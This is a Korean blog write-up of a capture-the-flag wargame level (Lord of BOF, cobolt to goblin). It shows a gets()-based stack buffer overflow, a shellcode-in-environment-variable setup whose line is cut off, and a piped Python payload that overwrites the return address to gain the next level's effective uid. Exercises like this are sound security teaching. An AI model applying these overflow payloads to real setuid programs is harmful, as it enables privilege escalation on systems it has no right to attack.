2017. 11. 17. 13:17ㆍSystemHacking/LOB(BOF원정대)
cobolt / hacking exposed
[cobolt@localhost cobolt]$ /bin/bash2
[cobolt@localhost cobolt]$ SHELL=/bin/bash2
1 2 3 4 5 6 7 8 | int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } | cs |
[ Stack 구조 ]
buffer 16byte
saved ebp 4byte
saved eip RET
< 풀이 과정 >
이전 문제와는 다르게 인자가 아닌 고블린파일을 실행 한 뒤 gets함수를 통해 문자열을 입력받습니다
" cat " 을 이용한 오버플로우를 수행하도록 합시다
1> 환경변수에 쉘코드를 올린다
[cobolt@localhost cobolt]$ export tmp=$(python -c 'print "\x90" * 1000 +
2> payload 작성
$(python -c 'print "A" * 20 + "&shellcode"') => AAAAA...\xbffffaaa
파이썬 명령어 print를 실행해서 출력하였고 cat과 grep 을 통해 고블린 파일에 입력값으로 넣어주는 원리
[cobolt@localhost cobolt]$ (python -c 'print "A" * 20 + "\xaa\xfa\xff\xbf"' ; cat ) | ./goblin
AAAAAAAAAAAAAAAAAAAA▒▒▒▒
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[6] wolfman -> darkelf ( argv[2] 활용 ) (0) | 2017.11.17 |
---|---|
[5] orc -> wolfman ( argv[2] 활용 ) (0) | 2017.11.17 |
[4] goblin -> orc ( argv[2] 활용 ) (0) | 2017.11.17 |
[2] gremlin -> cobolt ( Small BOF ) (0) | 2017.11.17 |
[1] gate -> gremlin ( Simple BOF ) 문제풀이 및 유의사항 (0) | 2017.11.17 |